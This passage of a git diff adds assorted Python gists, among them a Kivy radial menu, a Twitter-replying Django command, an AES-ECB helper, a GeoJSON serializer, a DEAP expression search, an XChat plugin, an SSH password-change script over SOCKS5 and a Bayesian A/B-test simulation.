+    timeout = NumericProperty(0.1)
+    menu_cls = ObjectProperty(ModernMenu)
+    cancel_distance = NumericProperty(10)
+    menu_args = DictProperty({})
+
+    def on_touch_down(self, touch, *args):
+        t = partial(self.display_menu, touch)
+        touch.ud['menu_timeout'] = t
+        Clock.schedule_once(t, self.timeout)
+        return super(MenuSpawner, self).on_touch_down(touch, *args)
+
+    def on_touch_move(self, touch, *args):
+        if (
+            touch.ud['menu_timeout'] and
+            dist(touch.pos, touch.opos) > self.cancel_distance
+        ):
+            Clock.unschedule(touch.ud['menu_timeout'])
+        return super(MenuSpawner, self).on_touch_move(touch, *args)
+
+    def on_touch_up(self, touch, *args):
+        if touch.ud.get('menu_timeout'):
+            Clock.unschedule(touch.ud['menu_timeout'])
+        return super(MenuSpawner, self).on_touch_up(touch, *args)
+
+    def display_menu(self, touch, dt):
+        menu = self.menu_cls(center=touch.pos, **self.menu_args)
+        self.add_widget(menu)
+        menu.start_display(touch)
+
+
+Builder.load_string(KV)
+
+TESTAPP_KV = '''
+FloatLayout:
+    ScrollView:
+        BoxLayout:
+            orientation: 'vertical'
+            size_hint_y: None
+            height: 1000
+            Button:
+                text: 'test1'
+            Label:
+                text: 'label1'
+            Button:
+                text: 'test2'
+            Label:
+                text: 'label2'
+            Button:
+                text: 'test3'
+            Label:
+                text: 'label3'
+
+    MenuSpawner:
+        timeout: .8
+        menu_args:
+            dict(
+            creation_direction=-1,
+            radius=30,
+            creation_timeout=.4,
+            choices=[
+            dict(text='submenu 1', index=1, callback=app.callback1),
+            dict(text='action 1', index=2, callback=app.callback2),
+            dict(text='action 2', index=3, callback=app.callback3),
+            dict(text='submenu 2', index=4, callback=app.callback4),
+            dict(text='action 3', index=5, callback=app.callback5),
+            ])
+'''
+
+
+class ModernMenuApp(App):
+    def build(self):
+        return Builder.load_string(TESTAPP_KV)
+
+    def callback1(self, *args):
+        print "test 1"
+        args[0].parent.open_submenu(
+            choices=[
+                dict(text='action 1', index=1, callback=self.callback2),
+                dict(text='action 2', index=2, callback=self.callback2),
+                dict(text='action 3', index=3, callback=self.callback2),
+            ])
+
+    def callback2(self, *args):
+        print "test 2"
+        args[0].parent.dismiss()
+
+    def callback3(self, *args):
+        print "test 3"
+        args[0].parent.dismiss()
+
+    def callback4(self, *args):
+        print "test 4"
+        args[0].parent.open_submenu(
+            choices=[
+                dict(text='hey', index=1, callback=self.callback2),
+                dict(text='oh', index=2, callback=self.callback2),
+            ])
+
+    def callback5(self, *args):
+        print "test 5"
+        args[0].parent.dismiss()
+
+
+if __name__ == '__main__':
+    ModernMenuApp().run()
\ No newline at end of file
diff --git a/hard-gists/966387/._snippet.py b/hard-gists/966387/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/966387/._snippet.py differ
diff --git a/hard-gists/966387/snippet.py b/hard-gists/966387/snippet.py
new file mode 100644
index 00000000..00ac2bff
--- /dev/null
+++ b/hard-gists/966387/snippet.py
@@ -0,0 +1,32 @@
+from django.core.management.base import BaseCommand, CommandError
+from django.conf import settings
+from generic.models import Item, Profile
+import urllib2
+import twitter
+import cjson
+
+class Command(BaseCommand):
+    help = 'Checks all #sociasell hashtags and sends messages'
+
+    def handle(self, *args, **options):
+        url = 'http://search.twitter.com/search.json?rpp=100&q=%%23%s' % settings.HASHTAG
+        response = urllib2.urlopen(url).read()
+        data = cjson.decode(response)
+
+        api = twitter.Api(consumer_key=settings.TWITTER_CONSUMER_KEY, \
+            consumer_secret=settings.TWITTER_CONSUMER_SECRET, \
+            access_token_key=settings.TWITTER_ACCESS_TOKEN, \
+            access_token_secret=settings.TWITTER_TOKEN_SECRET)
+        
+        for res in data.get('results', []):
+            if Item.objects.filter(tweet_id=res['id']).count() == 0:
+                ''' 
+                New item, not processed yet, process please!
+                '''
+                user_id = res['from_user_id']
+                item = Item(title=res['text'], tweet_id=res['id'], twittername=res['from_user'])
+                item.save()
+                msg = '@%s Use this link to create your online sociasell offer: http://sociasell.com/add/%d/' % (res['from_user'], item.id )
+                print msg
+                api.SetSource('sociasell.com')
+                api.PostUpdate(msg)
diff --git a/hard-gists/9667052/._snippet.py b/hard-gists/9667052/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9667052/._snippet.py differ
diff --git a/hard-gists/9667052/snippet.py b/hard-gists/9667052/snippet.py
new file mode 100644
index 00000000..4ee36405
--- /dev/null
+++ b/hard-gists/9667052/snippet.py
@@ -0,0 +1,76 @@
+'''
+Created on Mar 20, 2014, uses PyCrypto/Python 3.3
+
+@author: Chris Coe
+'''
+import binascii
+from Crypto.Cipher import AES
+
+class AESCipher:
+    '''
+    PyCrypto AES using ECB mode implementation in Python 3.3.  
+    This uses very basic 0x00 padding, I would recommend PKCS5/7.
+    '''
+
+    def __init__(self, key):
+        '''
+        The constructor takes in a PLAINTEXT string as the key and converts it
+        to a byte string to work with throughout the class.
+        '''
+        # convert key to a plaintext byte string to work with it
+        self.key = bytes(key, encoding='utf-8')
+        self.BLOCK_SIZE = 16
+        
+    def __pad(self, raw):
+        '''
+        This right pads the raw text with 0x00 to force the text to be a
+        multiple of 16.  This is how the CFX_ENCRYPT_AES tag does the padding.
+        
+        @param raw: String of clear text to pad
+        @return: byte string of clear text with padding
+        '''
+        if (len(raw) % self.BLOCK_SIZE == 0):
+            return raw
+        padding_required = self.BLOCK_SIZE - (len(raw) % self.BLOCK_SIZE)
+        padChar = b'\x00'
+        data = raw.encode('utf-8') + padding_required * padChar
+        return data
+    
+    def __unpad(self, s):
+        '''
+        This strips all of the 0x00 from the string passed in. 
+        
+        @param s: the byte string to unpad
+        @return: unpadded byte string
+        '''
+        s = s.rstrip(b'\x00')
+        return s
+    
+    def encrypt(self, raw):
+        '''
+        Takes in a string of clear text and encrypts it.
+        
+        @param raw: a string of clear text
+        @return: a string of encrypted ciphertext
+        '''
+        if (raw is None) or (len(raw) == 0):
+            raise ValueError('input text cannot be null or empty set')
+        # padding put on before sent for encryption
+        raw = self.__pad(raw)
+        cipher = AES.AESCipher(self.key[:32], AES.MODE_ECB)
+        ciphertext = cipher.encrypt(raw)
+        return  binascii.hexlify(bytearray(ciphertext)).decode('utf-8')
+    
+    def decrypt(self, enc):
+        '''
+        Takes in a string of ciphertext and decrypts it.
+        
+        @param enc: encrypted string of ciphertext
+        @return: decrypted string of clear text
+        '''
+        if (enc is None) or (len(enc) == 0):
+            raise ValueError('input text cannot be null or empty set')
+        enc = binascii.unhexlify(enc)
+        cipher = AES.AESCipher(self.key[:32], AES.MODE_ECB)
+        enc = self.__unpad(cipher.decrypt(enc))
+        return enc.decode('utf-8')
diff --git a/hard-gists/9670681/._snippet.py b/hard-gists/9670681/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9670681/._snippet.py differ
diff --git a/hard-gists/9670681/snippet.py b/hard-gists/9670681/snippet.py
new file mode 100644
index 00000000..4354897b
--- /dev/null
+++ b/hard-gists/9670681/snippet.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python
+# encoding: utf-8
+"""
+utc_to_local.py
+
+Example of converting UTC to local time using python-dateutil.
+
+https://pypi.python.org/pypi/python-dateutil
+"""
+from datetime import datetime
+from dateutil.tz import tzutc, tzlocal
+
+utc = datetime.now(tzutc())
+print('UTC:   ' + str(utc))
+
+local = utc.astimezone(tzlocal())
+print('Local: ' + str(local))
\ No newline at end of file
diff --git a/hard-gists/967274/._snippet.py b/hard-gists/967274/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/967274/._snippet.py differ
diff --git a/hard-gists/967274/snippet.py b/hard-gists/967274/snippet.py
new file mode 100644
index 00000000..5ddbedc2
--- /dev/null
+++ b/hard-gists/967274/snippet.py
@@ -0,0 +1,161 @@
+try:
+    from cStringIO import StringIO
+except ImportError:
+    from StringIO import StringIO
+import datetime
+import decimal
+
+from django.core.serializers.python import Serializer as PythonSerializer
+from django.core.serializers.json import DjangoJSONEncoder
+from django.utils.encoding import is_protected_type, smart_unicode
+from django.utils import simplejson as json
+from django.utils import datetime_safe
+from django.contrib.gis.geos.geometry import GEOSGeometry
+from django.contrib.gis.db.models.fields import GeometryField
+
+
+class DjangoGeoJSONEncoder(DjangoJSONEncoder):
+    def default(self, o):
+        if isinstance(o, datetime.datetime):
+            d = datetime_safe.new_datetime(o)
+            return d.strftime("%s %s" % (self.DATE_FORMAT, self.TIME_FORMAT))
+        elif isinstance(o, datetime.date):
+            d = datetime_safe.new_date(o)
+            return d.strftime(self.DATE_FORMAT)
+        elif isinstance(o, datetime.time):
+            return o.strftime(self.TIME_FORMAT)
+        elif isinstance(o, decimal.Decimal):
+            return float(o)
+        elif isinstance(o, GEOSGeometry):
+            return json.loads(o.geojson)
+        else:
+            return super(DjangoGeoJSONEncoder, self).default(o)
+
+
+class Serializer(PythonSerializer):
+    def start_serialization(self, queryset):
+        self.feature_collection = {"type": "FeatureCollection", "features": []}
+        self.feature_collection["crs"] = self.get_crs(queryset)
+        self._current = None
+
+    def get_crs(self, queryset):
+        if self.crs == False:
+            return None
+        crs = {}
+        srid = self.options.get("srid", None)
+        if srid is None:
+            field = self.get_geometry_field(queryset)
+            srid = field.srid
+            # obj = queryset[0]
+            # geom = field._get_val_from_obj(obj)
+            #srid = geom.srid
+        crs["type"] = "link"
+        properties = {}
+        properties["href"] = "http://spatialreference.org/ref/epsg/%s/" % (str(srid))
+        properties["type"] = "proj4"
+        crs["properties"] = properties
+        return crs
+
+    def get_geometry_field(self, queryset):
+        fieldname = self.options.get("fieldname", None)
+        fields = queryset.model._meta.fields
+        geometry_fields = [f for f in fields if isinstance(f, GeometryField)]
+        if fieldname:
+            fieldnames = [x.name for x in geometry_fields]
+            try:
+                field = geometry_fields[fieldnames.index(fieldname)]
+            except IndexError:
+                raise Exception("%s is not a valid geometry field on %s" % (fieldname, queryset.model.__class__.__name__))
+        else:
+            # We only currently support one geometry field
+            field = geometry_fields[0]
+        return field
+
+    def start_object(self, obj):
+        self._current = {"type": "Feature", "properties": {}}
+
+    def end_object(self, obj):
+        self.feature_collection["features"].append(self._current)
+        self._current = None
+
+    def end_serialization(self):
+        self.options.pop('stream', None)
+        self.options.pop('fields', None)
+        self.options.pop('use_natural_keys', None)
+
+        self.options.pop('crs', None)
+        self.options.pop('srid', None)
+
+        json.dump(self.feature_collection, self.stream, cls=DjangoGeoJSONEncoder, **self.options)
+
+    def handle_field(self, obj, field):
+        value = field._get_val_from_obj(obj)
+        if is_protected_type(value):
+            self._current['properties'][field.name] = value
+        elif isinstance(value, GEOSGeometry):
+            self._current['geometry'] = value
+        else:
+            self._current['properties'][field.name] = field.value_to_string(obj)
+
+    def getvalue(self):
+        if callable(getattr(self.stream, 'getvalue', None)):
+            return self.stream.getvalue()
+
+    def handle_fk_field(self, obj, field):
+        related = getattr(obj, field.name)
+        if related is not None:
+            if self.use_natural_keys and hasattr(related, 'natural_key'):
+                related = related.natural_key()
+            else:
+                if field.rel.field_name == related._meta.pk.name:
+                    # Related to remote object via primary key
+                    related = related._get_pk_val()
+                else:
+                    # Related to remote object via other field
+                    related = smart_unicode(getattr(related, field.rel.field_name), strings_only=True)
+        self._current['properties'][field.name] = related
+
+    def handle_m2m_field(self, obj, field):
+        if field.rel.through._meta.auto_created:
+            if self.use_natural_keys and hasattr(field.rel.to, 'natural_key'):
+                m2m_value = lambda value: value.natural_key()
+            else:
+                m2m_value = lambda value: smart_unicode(value._get_pk_val(), strings_only=True)
+            self._current['properties'][field.name] = [m2m_value(related)
+                               for related in getattr(obj, field.name).iterator()]
+
+    def serialize(self, queryset, **options):
+        """
+        Serialize a queryset.
+        """
+        self.options = options
+
+        self.stream = options.get("stream", StringIO())
+        self.selected_fields = options.get("fields")
+        self.use_natural_keys = options.get("use_natural_keys", False)
+
+        self.crs = options.get("crs", True)
+
+        self.start_serialization(queryset)
+
+        opt = queryset.model._meta
+        local_fields = queryset.model._meta.local_fields
+        many_to_many_fields = queryset.model._meta.many_to_many
+
+        for obj in queryset:
+            self.start_object(obj)
+            for field in local_fields:
+                if field.serialize or field.primary_key:
+                    if field.rel is None:
+                        if self.selected_fields is None or field.attname in self.selected_fields:
+                            self.handle_field(obj, field)
+                    else:
+                        if self.selected_fields is None or field.attname[:-3] in self.selected_fields:
+                            self.handle_fk_field(obj, field)
+            for field in many_to_many_fields:
+                if field.serialize:
+                    if self.selected_fields is None or field.attname in self.selected_fields:
+                        self.handle_m2m_field(obj, field)
+            self.end_object(obj)
+        self.end_serialization()
+        return self.getvalue()
diff --git a/hard-gists/9673839/._snippet.py b/hard-gists/9673839/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9673839/._snippet.py differ
diff --git a/hard-gists/9673839/snippet.py b/hard-gists/9673839/snippet.py
new file mode 100644
index 00000000..3a450d49
--- /dev/null
+++ b/hard-gists/9673839/snippet.py
@@ -0,0 +1,190 @@
+# Mostly stolen from deap's symbreg GP example
+import operator
+import math
+import random
+import string
+import inspect
+import ctypes
+
+import numpy
+from scipy import optimize
+
+from deap import algorithms
+from deap import base
+from deap import creator
+from deap import tools
+from deap import gp
+
+# Define new functions
+def safeIntDiv(left, right):
+    try:
+        return int(left / right)
+    except (ZeroDivisionError, OverflowError):
+        return 0
+
+def safeIntMod(left, right):
+    try:
+        return int(left % right)
+    except (ZeroDivisionError, OverflowError):
+        return 0
+
+
+def safeLShift(val):
+    return operator.lshift(val, 1)
+
+def safeRShift(val):
+    return operator.rshift(val, 1)
+
+# Operation cost table
+OperationCost = {
+    operator.add.__name__: 1,
+    operator.sub.__name__: 1,
+    operator.xor.__name__: 1,
+    safeIntMod.__name__: 4,
+    operator.mul.__name__: 2,
+    safeIntDiv.__name__: 4,
+    operator.neg.__name__: 1,
+    safeLShift.__name__: 1,
+    safeRShift.__name__: 1,
+}
+
+defaultSymbolMap = {
+    'add': '({0} + {1})',
+    'sub': '({0} - {1})',
+    'xor': '({0} ^ {1})',
+    'safeIntMod': '({0} % {1})',
+    'mul': '({0} * {1})',
+    'safeIntDiv': '({0} / {1})',
+    'neg': '~{0}',
+    'safeLShift': '({0} << 1)',
+    'safeRShift': '({0} >> 1)',
+}
+ 
+def getInfix(individual, symbolMap=defaultSymbolMap, index=0):
+    x = individual[index]
+    
+    if x.arity >= 3:
+        data = []
+        last_index = index
+        for _ in range(x.arity):
+            out, last_index = getInfix(individual, index=last_index+1)
+            data.append(out)
+        retVal = x.seq.format(*data)
+    elif x.arity == 2:
+        out_left, next_idx = getInfix(individual, index=index+1)
+        out_right, last_index = getInfix(individual, index=next_idx+1)
+        retVal = symbolMap.get(x.name, x.name).format(out_left, out_right)
+    elif x.arity == 1:
+        val, last_index = getInfix(individual, index=index+1)
+        retVal = symbolMap.get(x.name, x.name).format(val)
+    else:
+        retVal, last_index = x.value, index
+ 
+    if index == 0:
+        return retVal
+    return retVal, last_index
+
+
+pset = gp.PrimitiveSet("MAIN", 5)
+pset.addPrimitive(operator.add, 2)
+pset.addPrimitive(operator.sub, 2)
+pset.addPrimitive(operator.mul, 2)
+pset.addPrimitive(safeIntMod, 2)
+pset.addPrimitive(operator.xor, 2)
+pset.addPrimitive(safeIntDiv, 2)
+pset.addPrimitive(operator.neg, 1)
+pset.addPrimitive(safeLShift, 1)
+pset.addPrimitive(safeRShift, 1)
+pset.renameArguments(ARG1='a')
+pset.renameArguments(ARG2='b')
+pset.renameArguments(ARG3='c')
+pset.renameArguments(ARG4='d')
+# Problem input
+pset.renameArguments(ARG0='x')
+
+creator.create("FitnessMulti", base.Fitness, weights=(-1.0, -1.0))
+creator.create("Individual", gp.PrimitiveTree, fitness=creator.FitnessMulti)
+
+toolbox = base.Toolbox()
+toolbox.register("expr", gp.genHalfAndHalf, pset=pset, min_=1, max_=2)
+toolbox.register("individual", tools.initIterate, creator.Individual, toolbox.expr)
+toolbox.register("population", tools.initRepeat, list, toolbox.individual)
+toolbox.register("compile", gp.compile, pset=pset)
+
+float2Int = lambda x: ctypes.cast(ctypes.pointer(ctypes.c_float(x)), ctypes.POINTER(ctypes.c_int32)).contents.value
+int2Float = lambda x: ctypes.cast(ctypes.pointer(ctypes.c_int32(x)), ctypes.POINTER(ctypes.c_float)).contents.value
+
+def evalParams(params, func, points):
+    # Evaluate the mean squared error between the expression
+    # and the real function
+    intparams = list(map(float2Int, params))
+    intrepr = lambda x: int2Float(func(float2Int(x), *intparams))
+    #sqerrors = ((intrepr(x) - x**(-1/2))**2 for x in points)
+    sqerrors = ((intrepr(x) - x**(1/2))**2 for x in points)
+
+    errsum = math.fsum(sqerrors)
+    if math.isnan(errsum):
+        errsum = len(points) * 1e+40
+
+    return errsum
+
+def evalInvSqrt(individual, points):    
+    # Compute the difficulty of individual
+    difficulty = 1
+    for x in individual:
+        difficulty += OperationCost.get(x.name, 0)
+
+    # Transform the tree expression in a callable function
+    func = toolbox.compile(expr=individual)
+    nb_args = len(inspect.getargspec(func)[0])
+    
+    # Optimize the "constants"
+    res = optimize.fmin(evalParams,
+                        [1 for _ in range(nb_args - 1)],
+                        args=(func, points),
+                        full_output=True,
+                        disp=False)
+    errsum = res[1]
+    individual.optim_params = res[0]
+    return errsum / len(points), difficulty
+
+points = [x/10. for x in range(0, 50) if x != 0]
+
+toolbox.register("evaluate", evalInvSqrt, points=points)
+toolbox.register("select", tools.selTournament, tournsize=3)
+toolbox.register("mate", gp.cxOnePoint)
+toolbox.register("expr_mut", gp.genFull, min_=0, max_=2)
+toolbox.register("mutate", gp.mutUniform, expr=toolbox.expr_mut, pset=pset)
+
+def main():
+    #random.seed(31415926535)
+
+    pop = toolbox.population(n=200)
+    hof = tools.HallOfFame(20)
+    
+    stats_fit = tools.Statistics(lambda ind: ind.fitness.values)
+    stats_size = tools.Statistics(len)
+    mstats = tools.MultiStatistics(fitness=stats_fit, size=stats_size)
+    mstats.register("avg", numpy.mean)
+    mstats.register("std", numpy.std)
+    mstats.register("min", numpy.min)
+    mstats.register("max", numpy.max)
+
+    try:
+        pop, log = algorithms.eaSimple(pop, toolbox, 0.5, 0.1, 20, stats=mstats,
+                                       halloffame=hof, verbose=True)
+    except KeyboardInterrupt:
+        pass
+    print()
+
+    for idx, y in enumerate(hof):
+        err, cost = evalInvSqrt(y, points)
+        optim_params = {key: val for key, val in zip(string.ascii_lowercase, [hex(float2Int(x)) for x in y.optim_params])}
+        print("#{idx:01d}: ({err:.6f}, {cost}) {eq} {optim_params}".format(
+            eq=getInfix(y),
+            **locals()
+        ))
+    return pop, log, hof
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/9674216/._snippet.py b/hard-gists/9674216/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9674216/._snippet.py differ
diff --git a/hard-gists/9674216/snippet.py b/hard-gists/9674216/snippet.py
new file mode 100644
index 00000000..b8374a3f
--- /dev/null
+++ b/hard-gists/9674216/snippet.py
@@ -0,0 +1,98 @@
+#! /usr/bin/env python
+
+# Copyright 2014 Alex Wood
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+# Place this file in ~/.config/xchat2 and XChat will auto-load it.
+
+import time
+import xchat
+
+__module_name__ = "hush"
+__module_version__ = "1.1"
+__module_description__ = "Disables joins, nick changes, and quits from inactive users"
+
+
+class Hush(object):
+    def __init__(self, interval=15 * 60):
+        self.hooks = []
+        self.active_users = {}
+        self.interval = interval
+
+    def notice(self, text):
+        xchat.emit_print("Server Notice", text, "Hush")
+
+    def toggle_cb(self, word, word_eol, userdata):
+        if len(word) < 2 or word[1].lower() not in ['on', 'off', 'status']:
+            self.notice("Please provide a command: 'on', 'off', or 'status'")
+            return xchat.EAT_ALL
+
+        command = word[1].lower()
+        if command == "on":
+            if self.hooks:
+                self.notice("Hush is already on")
+                return xchat.EAT_ALL
+
+            for event in ["Join", "Part", "Part with Reason", "Quit", "Change Nick"]:
+                self.hooks.append(xchat.hook_print(event, self.selective_hush_cb))
+
+            for event in ["Private Message", "Private Action", "Channel Message", "Channel Action"]:
+                self.hooks.append(xchat.hook_print(event, self.record_cb))
+
+            self.hooks.append(xchat.hook_timer(5 * 60 * 1000, self.reaper_cb))
+            self.notice("Loaded Hush")
+
+            return xchat.EAT_ALL
+        elif command == "off":
+            if self.hooks:
+                map(xchat.unhook, self.hooks)
+                self.hooks = []
+                self.active_users = []
+                self.notice("Unloaded Hush")
+            else:
+                self.notice("Hush is already off")
+            return xchat.EAT_ALL
+        elif command == "status":
+            status = {True: "on", False: "off"}
+            self.notice("Hush is %s" % status[bool(self.hooks)])
+            return xchat.EAT_ALL
+
+    def selective_hush_cb(self, word, word_eol, userdata):
+        user = word[0]
+        if user in self.active_users:
+            return xchat.EAT_NONE
+        return xchat.EAT_XCHAT
+
+    def record_cb(self, word, word_eol, userdata):
+        user = word[0]
+        self.active_users[user] = int(time.time())
+        return xchat.EAT_NONE
+
+    def reaper_cb(self, userdata):
+        one_interval_ago = int(time.time()) - self.interval
+        dead_users = filter(lambda pair: pair[1] < one_interval_ago, self.active_users.iteritems())
+        dead_users = (x[0] for x in dead_users)
+        for dead in dead_users:
+            del self.active_users[dead]
+
+        # Keep the timer running
+        return True
+
+
+hush = Hush()
+# TODO Maybe make the interval configurable
+xchat.hook_command("HUSH", hush.toggle_cb,
+    help="/HUSH <on|off|status> Disables joins, nick changes, and quits from inactive users.")
+hush.toggle_cb(['HUSH', 'on'], None, None)
diff --git a/hard-gists/9676416/._snippet.py b/hard-gists/9676416/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9676416/._snippet.py differ
diff --git a/hard-gists/9676416/snippet.py b/hard-gists/9676416/snippet.py
new file mode 100644
index 00000000..f0f7ce8f
--- /dev/null
+++ b/hard-gists/9676416/snippet.py
@@ -0,0 +1,106 @@
+import time
+import socket
+import paramiko
+import socks
+
+SOCKS5_HOST = "nnn.nnn.nnn.nnn"
+SOCKS5_PORT = 12345
+
+SERVER_IP = "nnn.nnn.nnn.nnn"
+SERVER_PORT = 54321
+SERVER_ENCODING = "utf-8"
+
+USER_ID = "userid"
+USER_PASS = "userpassword"
+
+SUCCESS_TOKEN = "successfully"
+
+
+def read_until(chan, s):
+    temp = ""
+    cnt = 0
+    while cnt < 10:
+        try:
+            temp = temp + chan.recv(1200)
+            if temp.find(s) >= 0:
+                break
+        except socket.timeout:
+            cnt += 1
+            time.sleep(0.5)
+
+    if cnt >= 10:
+        raise socket.timeout(unicode(temp, SERVER_ENCODING))
+
+    return temp
+
+
+class Result:
+    def __init__(self):
+        self.log = ''
+        self.success = False
+
+    def add_log(self, s):
+        self.log += s
+
+
+class SSH(object):
+    def __init__(self, host, port, server_encoding):
+        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, host, port, False)
+        paramiko.client.socket.socket = socks.socksocket
+        self.SERVER_ENCODING = server_encoding
+
+    def create_connection(self, host, port, username, password):
+        self._ssh = paramiko.SSHClient()
+        self._ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+        self._ssh.connect(hostname=host, port=port, username=username, password=password)
+        self.chan = self._ssh.invoke_shell()
+        self.chan.settimeout(0)
+
+    # little example to do something with open connection
+    def change_password(self, oldpass, newpass):
+        result = Result()
+
+        s = read_until(self.chan, 'login: ')
+        result.add_log(self._u(s))
+        self.chan.send('passwd\n')
+
+        s = read_until(self.chan, ':')
+        result.add_log(self._u(s))
+        self.chan.send('%s\n' % oldpass)
+
+        s = read_until(self.chan, ':')
+        result.add_log(self._u(s))
+        self.chan.send('%s\n' % newpass)
+
+        s = read_until(self.chan, ':')
+        result.add_log(self._u(s))
+        self.chan.send('%s\n' % newpass)
+
+        s = read_until(self.chan, '.')
+        ss = self._u(s)
+        result.add_log(ss)
+        if ss.find(self._u(SUCCESS_TOKEN)) >= 0:
+            result.success = True
+        else:
+            result.success = False
+        return result
+
+    def _u(self, s):
+        return unicode(s, self.SERVER_ENCODING)
+
+    def close(self):
+        self._ssh.close()
+
+
+if __name__ == "__main__":
+    sshch = SSH(SOCKS5_HOST, SOCKS5_PORT, SERVER_ENCODING)
+    sshch.create_connection(SERVER_IP, SERVER_PORT,
+                            username=USER_ID, password=USER_PASS)
+    new_pass = raw_input("New password: ")
+    result = sshch.change_password(USER_PASS, new_pass)
+    sshch.close()
+    if not result.success:
+        print result.log
+        raise SystemExit("Error: Changing password failed")
+    else:
+        print "Password changed successfully"
\ No newline at end of file
diff --git a/hard-gists/9679647/._snippet.py b/hard-gists/9679647/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9679647/._snippet.py differ
diff --git a/hard-gists/9679647/snippet.py b/hard-gists/9679647/snippet.py
new file mode 100644
index 00000000..c06b48a5
--- /dev/null
+++ b/hard-gists/9679647/snippet.py
@@ -0,0 +1,180 @@
+
+from pylab import *
+from scipy.stats import beta, norm, uniform
+from random import random
+from numpy import *
+import numpy as np
+import os
+
+# Input data
+prior_params = [ (1, 1), (1,1) ]
+threshold_of_caring = 0.001
+
+N = array([ 100, 104 ])
+s = array([ 13, 8 ])
+
+#N = [ 581, 583 ]
+#s = [ 112, 75 ]
+
+class ABTest(object):
+    def finish_test_index(self, data):
+        # return index of when test is finished
+        pass
+
+    def finish_test_value(self, index, cumsum):
+        # return 0 or 1
+        pass
+
+def gen_data(ctr, size=1024*2):
+    ctr = array(ctr)
+    rnd = uniform(0,1).rvs((2,size))
+    data = zeros(shape=(2,size))
+    data[where(rnd < ctr[:,newaxis])] = 1.0
+    return data
+
+def evaluate_test_procedure(ctr, data, proc):
+    ctr = array(ctr)
+    n = proc.finish_test_index(data)
+    choice = proc.finish_test_value(N=(n,n), s=sum(data[:,0:n-1], axis=1))
+    lift = ctr[choice] - ctr[1-choice]
+    return (n, lift)
+
+
+class ComputesNormalDistPValue(object):
+    def p_value(self, N, s):
+        empirical_ctr = s.astype(float) / N
+        std_error = sqrt(empirical_ctr[0]*(1.0-empirical_ctr[0])/N[0] + (empirical_ctr[1]*(1-empirical_ctr[1]))/N[1])
+        if (std_error == 0):
+            return 1
+        z_value = (empirical_ctr[1]-empirical_ctr[0])/std_error
+        p_value = 1 - norm().cdf(abs(z_value))
+        return p_value
+
+class GaussianFrequentistPValue(ABTest, ComputesNormalDistPValue):
+    def __init__(self, sample_size, cutoff):
+        self.sample_size = sample_size
+        self.cutoff = cutoff
+
+    def __str__(self):
+        return "GaussianFrequentistPValue(" + str(self.sample_size) + ", " + str(self.cutoff) + ")"
+
+    def finish_test_index(self, data):
+        return self.sample_size
+
+    def finish_test_value(self, N, s):
+        empirical_ctr = s.astype(float) / N
+        pv = self.p_value(N,s)
+        if (pv <= self.cutoff) and (empirical_ctr[1] > empirical_ctr[0]):
+            return 1
+        else:
+            return 0
+
+class BayesianBetaAB(ABTest):
+    def __init__(self, prior, threshold_of_caring, stride=25):
+        self.prior = prior
+        self.threshold_of_caring = threshold_of_caring
+        self.xgrid_size = 1024*2
+        self.stride = stride
+        self.x = mgrid[0:self.xgrid_size,0:self.xgrid_size] / float(self.xgrid_size)
+        self.x_1d = arange(0,1,1.0/self.xgrid_size)
+        #Precompute to avoid unnecessary work
+        self.loss = [maximum(self.x[0]-self.x[1],0.0), maximum(self.x[1]-self.x[0],0.0)]
+        # Pre-allocate to avoid GC
+        self.pdf = zeros(shape=(self.xgrid_size,self.xgrid_size), dtype=float)
+        self.work_arr = zeros(shape=(self.xgrid_size,self.xgrid_size), dtype=float) #Where loss * pdf is stored
+
+    def __str__(self):
+        return "BayesianBeta(" + str(self.prior) + ", " + str(self.threshold_of_caring) + ")"
+
+    def finish_test_value(self, N, s):
+        empirical_ctr = s.astype(float) / N
+        if s[1] > s[0]:
+            return 1
+        else:
+            return 0
+
+    def finish_test_index(self, data):
+        s = array([0,0]).astype(float)
+        old_n = 0
+        sa = np.cumsum(data, axis=1)
+        for n in range(self.stride,data.shape[1],self.stride):
+            N = array([n,n])
+            s = sa[:,n]
+            old_n = n
+            empirical_ctr = s.astype(float) / N.astype(float)
+            posteriors = []
+            for i in range(2):
+                posteriors.append(beta(self.prior[0] + s[i] - 1, self.prior[1] + N[i] - s[i] - 1))
+            self.pdf[:] = 1.0
+            self.pdf[:] *= posteriors[0].pdf(self.x_1d)[newaxis,:]
+            self.pdf[:] *= posteriors[1].pdf(self.x_1d)[:,newaxis]
+            # The above 3 lines should be equivalent to (posteriors[0].pdf(self.x[0]) * posteriors[1].pdf(self.x[1]))
+
+            #print "delta: " + str(((posteriors[0].pdf(self.x[0]) * posteriors[1].pdf(self.x[1])) - self.pdf).sum())
+            #self.pdf[:] = posteriors[0].pdf(self.x[0]) * posteriors[1].pdf(self.x[1])
+
+            # Normalize at end
+            # self.pdf[:] /= self.pdf.sum() #We don't normalize until computing expected_loss as performance hack
+            if (empirical_ctr[0] > empirical_ctr[1]):
+                loss = self.loss[0]
+            else:
+                loss = self.loss[1]
+            self.work_arr[:] = 0.0
+            self.work_arr[:] = loss[:]
+            self.work_arr[:] *= self.pdf
+            expected_loss = (self.work_arr).sum() / self.pdf.sum()
+            if (expected_loss < self.threshold_of_caring):
+                return n
+        return n
+
+procedures = [BayesianBetaAB( (1,1), 0.01),
+              BayesianBetaAB( (1,1), 0.005),
